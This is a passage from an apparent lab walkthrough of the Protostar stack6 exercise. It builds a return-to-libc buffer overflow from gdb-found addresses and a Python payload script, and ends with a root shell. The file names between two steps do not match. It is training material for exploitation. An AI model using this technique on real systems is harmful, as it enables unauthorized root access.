Because SYSTEM_ARG needs to be a pointer to a string that contains the command we want to run, it might be easiest to put that string ("/bin/sh" in our case) at the top of our buffer.

This means our buffer has to start with "/bin/sh" and our SYSTEM_ARG needs to be the address of the start of the buffer.

We still need to get SYSTEM_ADDR and EXIT_ADDR, so to do that, let's open up gdb again:

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>


(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>


Ok, now we're just missing something to pass in as an argument to exit().

Because it doesn't really matter, let's go with 0xFFFFFFFF.

I wrote a short python script to create our buffer:
#!/usr/bin/env python3
#

offset = 80
command = "/bin/sh;#"
filler = "a"*(offset - len(command))

system_addr= "\xb0\xff\xec\xb7"
system_arg = "\x5c\xf7\xff\xbf"  # addr of start of buffer

exit_addr = "\xc0\x60\xec\xb7"
exit_arg = "\xff\xff\xff\xff"

print(command + filler + system_addr + exit_addr + system_arg + exit_arg)

Now we just have to create a file to use as the buffer:
user@protostar:/opt/protostar/bin$ python /tmp/stack6.py > /tmp/stack

And pipe that into stack6 (the 2nd cat is used to keep the pipe open and let our commands flow into our shell):

user@protostar:/opt/protostar/bin$ (cat /tmp/stack6-buffer; cat) | /opt/protostar/bin/stack6
input path please: got path /bin/sh;#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa???aaaaaaaaaaaa????`?\???????
whoami   (<-- I typed this)
root
ls
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
echo "woohoo!"
woohoo!



We're done!